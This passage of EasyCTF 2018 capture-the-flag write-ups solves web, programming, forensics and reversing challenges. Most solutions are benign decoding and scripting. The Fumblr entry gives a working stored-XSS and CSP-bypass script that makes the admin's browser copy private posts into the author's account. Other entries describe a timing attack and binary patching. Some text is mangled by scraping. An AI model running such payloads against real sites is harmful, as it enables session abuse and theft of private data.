charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Stop looking at the source code</title> <script class="delete"> var timeout = setTimeout(function () { location.replace('/soupd?2'); }, 2000); </script> <link href="/static/css/bootstrap.min.css" rel="stylesheet"> <link href="/static/css/main.css" rel="stylesheet"> </head> <body> <main role="main" class="container"> <div class="starter-template"> <h1>Stop looking at the source code</h1> <p class="lead"> Welcome to the problem page! Please enter the flag below. </p> <form id="flag-form"> <div class="form-group"> <input type="text" class="form-control" id="flag" placeholder="easyctf{"> </div> <button type="submit" class="btn btn-success btn-lg">Check</button> </form> </div> <script class="delete"> // Ah, old friend, we meet again... function process(a, b) { 'use strict'; var len = Math.max(a.length, b.length); var out = []; for (var i = 0, ca, cb; i < len; i++) { ca = a.charCodeAt(i % a.length); cb = b.charCodeAt(i % b.length); out.push(ca ^ cb); } return String.fromCharCode.apply(null, out); } (function () { 'use strict'; function soupd() { document.documentElement.innerHTML = ''; location.replace('/soupd?2'); setInterval(function () { location.replace('/soupd?12'); }, 100); } try { let badNodes = document.getElementsByClassName('delete'); for (let i = 0; i < badNodes.length; i++) { badNodes[i].parentNode.removeChild(badNodes[i]); } } catch (e) {} try { window.history.pushState({}, 'Stop looking at the source', '/'); } catch (e) {} try { var element = new Image('/static/img/soup.png'); Object.defineProperty(element, 'id', { get: function () { soupd(); }}); eval("console.log('Stop looking at the source code%c', element);"); } catch (e) {} var formEl = document.getElementById('flag-form'); var inputEl = document.getElementById('flag'); var func = "(function (e, v) { e.preventDefault() || " + "alert(inputEl.value === process(this.prototype.flag, " + "this.prototype.key) ? 'Your flag is correct!' : " + "'Incorrect, try again.'); })"; var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI='; var p = { prototype: { flag: atob(f), key: 'heheheh!' }}; document.addEventListener('DOMContentLoaded', function () { formEl.addEventListener('submit', eval(func).bind(p));$('.delete').remove();
});

})();
</script>
</main>

<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="/static/js/jquery-3.2.1.slim.min.js"></script>
<script src="/static/js/popper.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
<script class="delete">clearTimeout(timeout);</script>

</body>
</html>


The parts we want to focus more on is this two,

// Ah, old friend, we meet again...
function process(a, b) {
'use strict';
var len = Math.max(a.length, b.length);
var out = [];
for (var i = 0, ca, cb; i < len; i++) {
ca = a.charCodeAt(i % a.length);
cb = b.charCodeAt(i % b.length);
out.push(ca ^ cb);
}
return String.fromCharCode.apply(null, out);
}


and

var func = "(function (e, v) { e.preventDefault() || " +
"this.prototype.key) ? 'Your flag is correct!' : " +
"'Incorrect, try again.'); })";
var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI=';
var p = { prototype: { flag: atob(f), key: 'heheheh!' }};

$('.delete').remove(); });  So it appears we have the same thing going on in Jr. however unlike this time, you can't just use Chrome's developer console to evaluate your script, what next? Well, I happen to have TamperMonkey installed so this script sufficed! // ==UserScript== // @name New Userscript // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match http://c1.easyctf.com:12486/* // @grant none // ==/UserScript== (function() { 'use strict'; // Your code here... var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI='; var p = { prototype: { flag: atob(f), key: 'heheheh!' }}; alert(process(p.prototype.flag, p.prototype.key)); })();  Therefore, the flag is easyctf{wh0s_a_g00d_s0urc3_v13w3r?_YOU_ARE!}. # EasyCTF_2018: NoSource, Jr. Category: Web Points: 80 Description: I don't like it when people try to view source on my page. Especially when I put all this effort to put my flag verbatim into the source code, but then people just look at the source to find the flag! How annoying. This time, when I write my wonderful website, I'll have to hide my beautiful flag to prevent you CTFers from stealing it, dagnabbit. We'll see what you're able to find... ## Write-up We are given a link to the site with 3 key ingredients. Firstly, the key, window.encryptionKey = 'nosource';  Then, the flag, var flag = 'Fg4GCRoHCQ4TFh0IBxENAE4qEgwHMBsfDiwJRQImHV8GQAwBDEYvV11BCA==';  Lastly, the function, function process(a, b) { 'use strict'; var len = Math.max(a.length, b.length); var out = []; for (var i = 0, ca, cb; i < len; i++) { ca = a.charCodeAt(i % a.length); cb = b.charCodeAt(i % b.length); out.push(ca ^ cb); } return String.fromCharCode.apply(null, out); }  However, the key is not the key! Let's get the key in Python instead, flag = base64.b64decode("Fg4GCRoHCQ4TFh0IBxENAE4qEgwHMBsfDiwJRQImHV8GQAwBDEYvV11BCA==") plaintext = "easyctf" for a, b in zip(flag, plaintext): print(chr(a ^ ord(b)))  We get this weird output, s o u p y s  Could it be soupy? Let's try it in our JS console again, > process(atob(flag), encryptionKey) "easyctf{congrats!_but_now_f0r_n0s0urc3_...}"  Therefore, the flag is easyctf{congrats!_but_now_f0r_n0s0urc3_...}. # EasyCTF_2018: Digging For Soup Category: Web Points: 150 Description: Perhaps this time I'll have hidden things a little better... you won't find my flag so easily now! nicebowlofsoup.com ## Write-up A stupid challenge worth way too much. Initially, you find out that your usual TXT don't work, $ dig TXT nicebowlofsoup.com

; <<>> DiG 9.8.3-P1 <<>> TXT nicebowlofsoup.com
;; global options: +cmd
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36765
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nicebowlofsoup.com.        IN  TXT

nicebowlofsoup.com. 80  IN  TXT "Close, but no cigar... where else could it be?"

;; Query time: 35 msec
;; SERVER: 192.168.144.1#53(192.168.144.1)
;; WHEN: Mon Feb 12 03:37:36 2018
;; MSG SIZE  rcvd: 95


A little bit of poking around later, you arrive at the stupidest solution of all,

$dig TXT easyctf.nicebowlofsoup.com ; <<>> DiG 9.8.3-P1 <<>> TXT easyctf.nicebowlofsoup.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46658 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;easyctf.nicebowlofsoup.com. IN TXT ;; ANSWER SECTION: easyctf.nicebowlofsoup.com. 299 IN TXT "easyctf{why_do_i_even_have_this_domain}" ;; Query time: 59 msec ;; SERVER: 192.168.144.1#53(192.168.144.1) ;; WHEN: Mon Feb 12 03:34:45 2018 ;; MSG SIZE rcvd: 96  NINJA EDIT: After the challenge has been reworked, the solution requires the use of AXFR instead. $ dig ns2.nicebowlofsoup.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> ns2.nicebowlofsoup.com
;; global options: +cmd
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5587
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ns2.nicebowlofsoup.com.        IN  A

ns2.nicebowlofsoup.com. 86145   IN  A   159.65.43.62

;; Query time: 1 msec
;; SERVER: 67.207.67.2#53(67.207.67.2)
;; WHEN: Tue Feb 20 14:56:55 UTC 2018
;; MSG SIZE  rcvd: 67

$dig axfr nicebowlofsoup.com @159.65.43.62 ; <<>> DiG 9.10.3-P4-Ubuntu <<>> axfr nicebowlofsoup.com @159.65.43.62 ;; global options: +cmd nicebowlofsoup.com. 86400 IN SOA ns1.nicebowlofsoup.com. hostmaster.nicebowlofsoup.com. 2018021205 28800 7200 604800 86400 easyctf.nicebowlofsoup.com. 10 IN TXT "easyctf{why_do_i_even_have_this_domain}" nicebowlofsoup.com. 100 IN TXT "Close, but no cigar... where else could it be? hint: the nameserver's IP is 159.65.43.62" nicebowlofsoup.com. 86400 IN SOA ns1.nicebowlofsoup.com. hostmaster.nicebowlofsoup.com. 2018021205 28800 7200 604800 86400 ;; Query time: 17 msec ;; SERVER: 159.65.43.62#53(159.65.43.62) ;; WHEN: Tue Feb 20 14:56:35 UTC 2018 ;; XFR size: 4 records (messages 3, bytes 404)  Therefore, the flag is easyctf{why_do_i_even_have_this_domain}. # EasyCTF_2018: Fumblr Category: Web Points: 275 Description: Come check out the latest blogging platform all the cool kids are using! I tried my hardest to make it hack-proof. If you can read the admin's hidden posts, I'll even give you a flag!! Good luck!? ## Write-up This challenge tests upon the bypassing of Content Security Policy that prevented the use of in-line scripts. Other than that, it was mostly a test on creativity to force the admin to do whatever I wanted him to do to give me my flag. To solve this challenge, create our first blog post with our malicious script. This essentially saves the entire blog page in a variable, logs out, logs back in as us and posts the blog page in a blog post. I smile to myself when I think of my own solution. Please don't hack me. I use the same password for every site. // Get blog var resp =$.get({url: "http://c1.easyctf.com:12491/profile", async: false}).responseText;
var username = $(resp).find("p")[0].innerHTML.match(/: ([\w]+)/)[1]; var blog =$.get({url: "http://c1.easyctf.com:12491/blog/" + username, async: false}).responseText;

// Logout
$.get({url: "http://c1.easyctf.com:12491/logout", async: false}); // Login var resp =$.get({url: "http://c1.easyctf.com:12491/login", async: false}).responseText;
var csrf = $($(resp).find("form input[name='_csrf']")[0]).val()
$.ajax({type: "POST", url: "http://c1.easyctf.com:12491/login", data: {username: "cykablyat123", password: "[email protected]#m89cU6PrkWWHS3P&2Bya", _csrf: csrf}, async: false}); // Post blog var resp =$.get({url: "http://c1.easyctf.com:12491/profile", async: false}).responseText;
var username = $(resp).find("p")[0].innerHTML.match(/: ([\w]+)/)[1]; var resp =$.get({url: "http://c1.easyctf.com:12491/blog/" + username, async: false}).responseText;
var csrf = $($(resp).find("form input[name='_csrf']")[0]).val()
$.ajax({type: "POST", url: "http://c1.easyctf.com:12491/create-post", data: {title: "HTML", body: blog, _csrf: csrf}, async: false});  Create our second blog post embedding the previous script inside as a raw file. Remember to insert the previous post's URL into the script. <script src="http://c1.easyctf.com:12491/blog/cykablyat123/INSERT OUR PREVIOUS'S POST URL/raw"></script>  Next, simply report our second blog post and wait. After a couple seconds, a new blog post would've been created by the hacked admin user and we get the HTML source code of the admin's blog. Doing a bit of CTRL-F, you come across a nice looking site. Accessing the site, we get the flag. Therefore, the flag is easyctf{I_th0ght_CSP_m4d3_1t_s3cur3?}. # EasyCTF_2018: Teaching Old Tricks New Dogs Category: Programming Points: 40 Description: You can decode a Caesar cipher, but can you write a program to decode a Caesar cipher? Your program will be given 2 lines of input, and your program needs to output the original message. First line contains N, an integer representing how much the key was shifted by. 1 <= N <= 26 Second line contains the ciphertext, a string consisting of lowercase letters and spaces. For example: 6 o rubk kgyeizl You should print i love easyctf ## Write-up ciphertext = input() plaintext = "" for c in ciphertext: if c == " ": plaintext += c continue plaintext += chr(((ord(c)-ord('a')) - N) % 26 + ord('a')) print(plaintext)  Therefore, there is no flag. # EasyCTF_2018: Starman 1 Category: Programming Points: 80 Description: Starman has taken off in search of a team to help him win EasyCTF! He's reached the asteroid belt, which everyone knows is the best place in the galaxy to find cybersecurity talent. Each asteroid is home to one superstar hacker. Starman wants to take all of the hackers back to Earth to help him with the competition, but unfortunately this isn't practical - all of the hackers are very attached to their asteroid homes, and won't go back to Earth unless Starman agrees to take the asteroids with him. Furthermore, each hacker has a skill rating r. To ensure a win in EasyCTF, Starman wants to maximize the sum of the rating values of his team members. There are N hackers, and Starman's Roadster can carry up to W pounds of additional weight. Help him decide which hackers to bring home. Input Format The first line contains two integers N and W. The following N lines each contain two integers r_i and w_i, representing the skill and weight of the ith hacker. (w_i is the sum of a hacker and their asteroid's weight). 1 <= N, W <= 2000 1 <= r_i, w_i <= 10000  Output Format A single integer, the best sum-of-ratings Starman can achieve while keeping the total weight added to his Roadster less than or equal to W. Sample Input 5 15 6 7 3 4 3 5 10 11 8 8  Sample Ouput 14  ## Write-up This challenge involved the Knapsack Problem of dynamic programming. Thankfully, there are already implementations online and I just modeled my solution over a few of them. Therefore, there is no flag. # EasyCTF_2018: Starman 2 Category: Programming Points: 175 Description: Starman is back at it again! Having successfully brought back several hackers from the asteroid belt, he wants to eliminate the possibility of competition from the hackers he left behind. He has equipped his Roadster with an asteroid-destroying laser, but unfortunately he's only able to fire it once. Asteroids can be represented as points in a 2D plane. The laser, when fired, sends a beam of width W straight forward, and destroys everything in its path. Starman can go anywhere to fire his beam. It's expensive to fire wider beams, so your job is to find out the smallest possible width of the beam. Input Format The first line contains a single integer N, representing the number of asteroids. The following N lines each contain two integers x_i and y_i, representing the x and y coordinates of the ith asteroid. 3 <= N <= 200000 -10^8 <= x_i, y_i <= 10^8  Output Format A decimal printed to six decimal places (including trailing zeroes; this can be accomplished using printf or your language's equivalent) representing the minimum possible value of W. Sample Input 5 12 4 -2 5 -8 -7 -1 -11 5 3  Sample Ouput 11.234578  ## Write-up Disclaimer: Solution has been ripped from too many sources, I do not take full credit for anything This challenge was a lot harder but essentially, can be solved with rotating calipers and minimum bounding hull algorithms. Full solution here. Therefore, there is no flag. # EasyCTF_2018: Taking Input Category: Programming Points: 30 Description: OK, OK, you got Hello, world down, but can you greet specific people? You'll be given the input of a certain name. Please greet that person using the same format. For example, if the given input is Michael, print Hello, Michael!. For Python, consider the input() function. For Java, consider System.in. For C, consider including stdio.h and reading input using read. For C++, consider including iostream and reading input using cin. ## Write-up print("Hello, " + input() + "!")  Therefore, there is no flag. # EasyCTF_2018: Over and Over Category: Programming Points: 30 Description: over and over and over and over and over and ... Given a number N, print the string "over [and over]" such that the string contains N "over"s. There should not be newlines in the string. For example: For N = 1, print "over". For N = 5, print "over and over and over and over and over". For Python, consider using for and range. For Java/CXX, consider using a for loop. Try doing it with while too for practice! ## Write-up times=int(input()) output="" for i in range(times): output+="over and " print(output.strip("and "))  Therefore, there is no flag. # EasyCTF_2018: Subset Counting Category: Programming Points: 55 Description: Given a set of numbers, print out how many non-empty subsets sum to a given integer. Input Format The first line contains two integers N and S. The second line contains N space-separated integers a_1, a_2, ..., a_N. 1 <= N <= 20 -100 <= S <= 100 -1000 <= a_i <= 1000  Output Format A single integer, the number of non-empty subsets which sum to S. Two subsets are different if an element appears in one and does not appear in the other. Note that a_1 is distinct from a_2, even if their values are identical. Sample Input 6 5 2 4 1 1 1 2  Sample Ouput 8  ## Write-up Like the previous challenges, this can be solved with pre-existing Python implementations just tweaked. This is an example of the given sum problem. Therefore, there is no flag. # EasyCTF_2018: Exclusive Category: Programming Points: 30 Description: Given two integers a and b, return a xor b. Remember, the xor operator is a bitwise operator that's usually represented by the ^ character. For example, if your input was 5 7, then you should print 2. ## Write-up ab = input().split(" ") print(int(ab[0]) ^ int(ab[1]))  Therefore, there is no flag. # EasyCTF_2018: Discord Category: Misc Points: 1 Description: Join the Discord chat! Maybe if you use it enough, you'll find the flag. ## Write-up Flag is given when you join the discord chat, Therefore, the flag is easyctf{Is_this_really_a_D1sc0rd_fl4g?}. # EasyCTF_2018: Little Language Category: Miscellanous Points: 250 Description: I want root access to this special programming portal, and this file is my only clue. Maybe the password is inside? Even if it is, I'm not sure how to enter it. encrypted nc c1.easyctf.com 12480 Oh! Almost forgot... this might help. ## Write-up This challenge was fantastically annoying. Firstly, to start off with, the creator is @ztaylor54. A little googling leads us to his portfolio site. On there, you find a suspicious link and reference to 5ive. A little bit more googling and we land on this GitHub page for 5ive1terpreter. In this file, we see something highly familiar. Stmt : Expr { NodeE$1 }
| alive var '=' Expr                  { NodeLet $2$4 }
| unded var '=' Expr                  { NodeRecLet $2$4 }
| class cname "{" fields VList "..." MList "}"    { NodeClass $2$5 $7 } | class cname extends cname "{" fields VList "..." MList "}" {NodeClassExtends$2 $4$7 $9 }  Going back to the files we got, Hmm... That certainly looks suspicious. Maybe the variables were renamed? # nc c1.easyctf.com 12480 ctflang commands begin with ":" (try :help) global tag = 2 tag 2  Bingo! Now we know what sets the variable, let's try and look at the image above. What does that mean? Well, according to the PDF file, it seems to be some form of expression semantics. Let's get back to it later. To get the password, just strings. # strings encrypted [...] zQYY (1 ???99 %5)r ,..6 MbUU <x0y IEND note: the password is l7&4C&Cg  Now, let's try to get the flag, which according to the expression semantic, is a function. # nc c1.easyctf.com 12480 ctflang commands begin with ":" (try :help) global username = "root" global password = "l7&4C&Cg" flag EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}  Therefore, the flag is EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}. # EasyCTF_2018: Flag Time Category: Misc Points: 80 Description: This problem is so easy, it can be solved in a matter of seconds. Port 12482. ## Write-up This challenge was mentally the worst ever, since I originally used a single-threaded script to do it but with 1 second delays per correct character, I would have taken a millienia to solve this. Enter the multi-threaded scripts. Essentially, this challenge is a timing attack challenge, except the timing delay is 1 second long and is immensely painful. I finally decided to use my favourite threads to solve this challenge in hopes of being able to sleep at night. Full script available here. # ./solve.py [...] [*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}@' Time: 26.31693387031555 [*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}<' Time: 26.315574884414673 [*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}?' Time: 26.317901134490967 [*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}=' Time: 26.330061674118042 [*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}~' Time: 26.31587290763855 [+] Flag Found! easyctf{ez_t1m1ng_4ttack!}  Therefore, the flag is easyctf{ez_t1m1ng_4ttack!}. # EasyCTF_2018: Zipperoni Category: Miscellanous Points: 160 Description: I've created a dastardly chain of zip files. Now you'll never find my flag! The first file is begin.zip, with password coolkarni. ## Write-up This challenge is just a programming challenge with continous zip and bruteforcing. However, traditional bruteforcing will take too long and instead you have to be smart when bruteforcing. Firstly, the pattern given in begin.zip goes along the lines of something like ___0_0_. Well, essentially, the _s are part of the actual password but 0 refers to digits. 0 -> 0123456789 a -> abcdefghijklmnopqrstuvwxyz A -> ABCDEFGHIJKLMNOPQRSTUVWXYZ  So, to solve this, we need to be good with Python scripting :) Additionally, the hash.txt file that is produced every iteration is the SHA-1 hash of the password needed for the next zip file specified in filename.txt. $ ./solve.py
ATTEMPTING: __0_0_
SUCCESS: __1_8_
[...]
ATTEMPTING: _00aA0
SUCCESS: _46rW9
easyctf{you_must_REALLY_luv_zip_files_by_now!}


Therefore, the flag is easyctf{you_must_REALLY_luv_zip_files_by_now!}

# EasyCTF_2018: Zippity

Category: Misc Points: 80 Description:

I heard you liked zip codes! Connect via nc c1.easyctf.com 12483 to prove your zip code knowledge.

## Write-up

This challenge was tricky in that you had to know where to look for the census data. Upon connecting, you get some hints on where to look.

# nc c1.easyctf.com 12483
+======================================================================+
| Welcome to Zippy! We love US zip codes, so we'll be asking you some  |
| simple facts about them, based on the 2010 Census. Only the          |
| brightest zip-code fanatics among you will be able to succeed!       |
| You'll have 30 seconds to answer 50 questions correctly.             |
+======================================================================+

3... 2... 1...  Go!

Round  1 / 50
What is the water area (m^2) of the zip code 93550?


Essentially, we have to look for 2010 census data. After poking around for quite some time, we get this link on this page. Downloading the archive allows us to complete this challenge by pure Python magick.

# ./solve.py
[+] Opening connection to c1.easyctf.com on port 12483: Done
[+] Cracking ECDSA...: Cracked!
[+] You succeeded! Here's the flag:
easyctf{hope_you_liked_parsing_tsvs!}
[*] Closed connection to c1.easyctf.com port 12483


Therefore, the flag is easyctf{hope_you_liked_parsing_tsvs!}.

# EasyCTF_2018: Diff

Category: Forensics Points: 100 Description:

Sometimes, the differences matter. Especially between the files in this archive. Hint: This is a TAR archive file. You can extract the files inside this tar by navigating to the directory where you downloaded it and running tar xf file.tar! If you don't have tar on your personal computer, you could try doing it from the Shell server. Once you extract the files, try comparing the hex encodings of the files against the first file.

## Write-up

This challenge was really simple and simply required proper DIFFing of the files. To start off, simply xxd all the files to their hex encoded counterpart,

# xxd file > file.hex
# xxd file2 > file2.hex
# xxd file3 > file3.hex
# xxd file4 > file4.hex


Then simply compare!

# diff -a file.hex file2.hex
1c1
< 00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
---
> 00000000: 7f45 4c46 0201 0100 0065 0000 0000 0000  .ELF.....e......
8c8
< 00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................
---
> 00000070: 0800 0000 0000 0000 0361 0000 0400 0000  .........a......
15c15
< 000000e0: 0000 2000 0000 0000 0100 0000 0600 0000  .. .............
---
> 000000e0: 0000 2000 0000 0000 0100 7300 0600 0000  .. .......s.....
18,19c18,19
< 00000110: 9802 0000 0000 0000 0000 2000 0000 0000  .......... .....
< 00000120: 0200 0000 0600 0000 f80d 0000 0000 0000  ................
---
> 00000110: 9802 0000 7963 7400 0000 2000 0000 0000  ....yct... .....
> 00000120: 0200 0000 0600 6600 f80d 0000 0000 0000  ......f.........
25c25
< 00000180: 4400 0000 0000 0000 0400 0000 0000 0000  D...............
---
> 00000180: 4400 0000 0000 007b 0400 0000 0000 0000  D......{........
31c31
< 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
---
> 000001e0: 0000 0000 0000 0064 0000 0000 0000 0000  .......d........
59c59
< 000003a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
---
> 000003a0: 0000 0000 0000 0069 0000 0000 0000 0000  .......i........
558a559
> 000022e0: 0a


From the first few lines, we can something really interesting already,

1c1
< 00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
---
> 00000000: 7f45 4c46 0201 0100 0065 0000 0000 0000  .ELF.....e......
8c8
< 00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................
---
> 00000070: 0800 0000 0000 0000 0361 0000 0400 0000  .........a......
15c15
< 000000e0: 0000 2000 0000 0000 0100 0000 0600 0000  .. .............
---
> 000000e0: 0000 2000 0000 0000 0100 7300 0600 0000  .. .......s.....
18,19c18,19
< 00000110: 9802 0000 0000 0000 0000 2000 0000 0000  .......... .....
< 00000120: 0200 0000 0600 0000 f80d 0000 0000 0000  ................
---
> 00000110: 9802 0000 7963 7400 0000 2000 0000 0000  ....yct... .....
> 00000120: 0200 0000 0600 6600 f80d 0000 0000 0000  ......f.........


Comparing the differences in each line, you get the letters easyctf. Where do we go from this? Well, after comparing file.hex with file2.hex, file3.hex and file4.hex, you get the flag!

# diff -a file.hex file2.hex
1c1
< 00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
---
> 00000000: 7f45 4c46 0201 0100 0065 0000 0000 0000  .ELF.....e......
8c8
< 00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................
---
> 00000070: 0800 0000 0000 0000 0361 0000 0400 0000  .........a......
15c15
< 000000e0: 0000 2000 0000 0000 0100 0000 0600 0000  .. .............
---
> 000000e0: 0000 2000 0000 0000 0100 7300 0600 0000  .. .......s.....
18,19c18,19
< 00000110: 9802 0000 0000 0000 0000 2000 0000 0000  .......... .....
< 00000120: 0200 0000 0600 0000 f80d 0000 0000 0000  ................
---
> 00000110: 9802 0000 7963 7400 0000 2000 0000 0000  ....yct... .....
> 00000120: 0200 0000 0600 6600 f80d 0000 0000 0000  ......f.........
25c25
< 00000180: 4400 0000 0000 0000 0400 0000 0000 0000  D...............
---
> 00000180: 4400 0000 0000 007b 0400 0000 0000 0000  D......{........
31c31
< 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
---
> 000001e0: 0000 0000 0000 0064 0000 0000 0000 0000  .......d........
59c59
< 000003a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
---
> 000003a0: 0000 0000 0000 0069 0000 0000 0000 0000  .......i........
558a559
> 000022e0: 0a

FLAG: easyctf{di

# diff -a file.hex file3.hex
12c12
< 000000b0: 0100 0000 0500 0000 0000 0000 0000 0000  ................
---
> 000000b0: 0100 6600 0500 0000 0000 0000 0000 0000  ..f.............
17c17
< 00000100: e00d 6000 0000 0000 7c02 0000 0000 0000  .......|.......
---
> 00000100: e00d 6000 6600 0000 7c02 0000 0000 0000  ...f...|.......
32c32
< 000001f0: 0000 0000 0000 0000 1000 0000 0000 0000  ................
---
> 000001f0: 0000 0000 0069 0000 1000 0000 0000 0000  .....i..........
50c50
< 00000310: 0000 0000 0000 0000 0000 0000 0000 0000  ................
---
> 00000310: 0000 0000 006e 6900 0000 0000 0000 0000  .....ni.........
61c61
< 000003c0: 0000 0000 0000 0000 8b00 0000 1200 0000  ................
---
> 000003c0: 0000 0000 0000 746c 8b00 0000 1200 0000  ......tl........
273c273
< 00001100: 5f72 002e 7265 6c61 2e64 796e 002e 7265  _r..rela.dyn..re
---
> 00001100: 5f72 002e 7265 795f 2e64 796e 002e 7265  _r..rey_.dyn..re
283c283
< 000011a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
---
> 000011a0: 0000 0000 0000 616e 5f00 0000 0000 0000  ......an_.......
558a559
> 000022e0: 0a

FLAG: easyctf{di + ffinitly_an_

# diff -a file.hex file4.hex
79c79
< 000004e0: 0200 0200 0200 0200 0200 0000 0000 0000  ................
---
> 000004e0: 657a 0200 5f70 726f 626c 656d 217d 0000  ez.._problem!}..
558a559
> 000022e0: 0a

FLAG: easyctf{diffinitly_an_ + ez_problem!}


Therefore, the flag is easyctf{diffinitly_an_ez_problem!}

# EasyCTF_2018: Look At Flag

Category: Forensics Points: 30 Description:

What is the flag? flag

## Write-up

Too bad I use Chrome to do my challenges and it opened up the .txt file as an image. RIP challenge. You will be remembered.

Therefore, the flag is easyctf{FLaaaGGGGGg}.

# EasyCTF_2018: The Letter

Category: Forensics Points: 80 Description:

I got a letter in my email the other day... It makes me feel sad, but maybe it'll make you glad. :( file

This challenge was relatively simple as well, just renaming the file to .zip and extracting it reveals a template.png below. For people having issues with unzipping it, try using the Linux commands instead, like $unzip myletter.docx -d myletter/ Therefore, the flag is easyctf{r3j3ct3d_4nd_d3jected}. # EasyCTF_2018: Haystack Category: Forensics Points: 30 Description: There's a flag hidden in this haystack. ## Write-up This challenge is just a little slightly obnoxious for older computers but using a little grep magic, you can pull the flag from thin air! [email protected]:~# cat haystack.txt | grep -Eo easyctf{.*} easyctf{tiXAuDCgmfDyMwNelDbPbWeyA}  Therefore, the flag is easyctf{tiXAuDCgmfDyMwNelDbPbWeyA} # EasyCTF_2018: Special Endings Category: Forensics Points: 350 Description: She taught us so much... tribute ## Write-up This challenge was a hit and miss but essentially, was inspired by a previous CTF challenge. After a bit of tweaking, I finally fixed my script to solve it. I will not go into too much details on how the solution solves the flag, as the link referenced earlier has a much better explanation than I do :). $ ./solve.py
easyctf{ill_miss_you}


Therefore, the flag is easyctf{ill_miss_you}.

# EasyCTF_2018: EzSteg

Category: Forensics Points: 30 Description:

There appears to be a message beyond what you can see in soupculents.jpg.

## Write-up

This one was another easy challenge involving the use of strings.

[email protected]:~# strings soupculents.jpg
[...]
;48yY
T8RT
(aCt
q$I eE^] easyctf{l00k_at_fil3_sigS}  Therefore, the flag is easyctf{l00k_at_fil3_sigS}. # EasyCTF_2018: Remember Me Category: Forensics Points: 130 Description: I'm such a klutz! I know I hid a flag in this file somewhere, but I can't remember where I put it! Song is from sukasuka. ## Write-up Using Audacity, one can easily remove the vocals entirely from the given file through the Effect > Vocal Reduction and Isolation feature. After a bit of extracting, we are left with an audio clip of someone reading the flag out. Therefore, the flag is easyctf{4ud10_st3g}. # EasyCTF_2018: EzReverse Category: Reverse Engineering Points: 140 Description: Take a look at executable. Objdump the executable and read some assembly! ## Write-up This challenge was great fun and lots of experience was gained in the arts of radare2. In a nutshell, this program accepts 5 characters as an argument but if any arguments are wrong, it self-deletes. To get around this, I made a patched binary that would not do that :D. Essentially, of the 5 characters, the fourth character is always k and the rest are all very strongly tied to one another. An excerpt is shown below, │ │ 0x0040090e 8b45ec mov eax, dword [local_14h] │ │ 0x00400911 83f86f cmp eax, 0x6f ; 'o' ; 111 │ │┌─< 0x00400914 7551 jne 0x400967 │ ││ 0x00400916 8b45e8 mov eax, dword [local_18h] │ ││ 0x00400919 8b55ec mov edx, dword [local_14h] │ ││ 0x0040091c 83c20e add edx, 0xe │ ││ 0x0040091f 39d0 cmp eax, edx │ ┌───< 0x00400921 7544 jne 0x400967 │ │││ 0x00400923 8b45e0 mov eax, dword [local_20h] │ │││ 0x00400926 8b55f0 mov edx, dword [local_10h] │ │││ 0x00400929 83ea0a sub edx, 0xa │ │││ 0x0040092c 39d0 cmp eax, edx │ ┌────< 0x0040092e 7537 jne 0x400967 │ ││││ 0x00400930 8b45e4 mov eax, dword [local_1ch] │ ││││ 0x00400933 83f835 cmp eax, 0x35 ; '5' ; 53 │ ┌─────< 0x00400936 752f jne 0x400967 │ │││││ 0x00400938 8b45f0 mov eax, dword [local_10h] │ │││││ 0x0040093b 8b55ec mov edx, dword [local_14h] │ │││││ 0x0040093e 83c203 add edx, 3 │ │││││ 0x00400941 39d0 cmp eax, edx │ ┌──────< 0x00400943 7522 jne 0x400967 │ ││││││ 0x00400945 bf660a4000 mov edi, str.Now_here_is_your_flag: ; 0x400a66 ; "Now here is your flag: " ; const char * format  Additionally, there is tricky above that adds offsets to all integers, according to their placements, │ │ 0x00400881 c745e0010000. mov dword [local_20h], 1 │ │ 0x00400888 c745e4020000. mov dword [local_1ch], 2 │ │ 0x0040088f c745e8030000. mov dword [local_18h], 3 │ │ 0x00400896 c745ec040000. mov dword [local_14h], 4 │ │ 0x0040089d c745f0050000. mov dword [local_10h], 5  As such, by running the command with our full argument, we get our flag, # ./executable_patched g3zkm Now here is your flag: 10453125111114  Therefore, the flag is 10453125111114. # EasyCTF_2018: hexedit Category: Reverse Engineering Points: 50 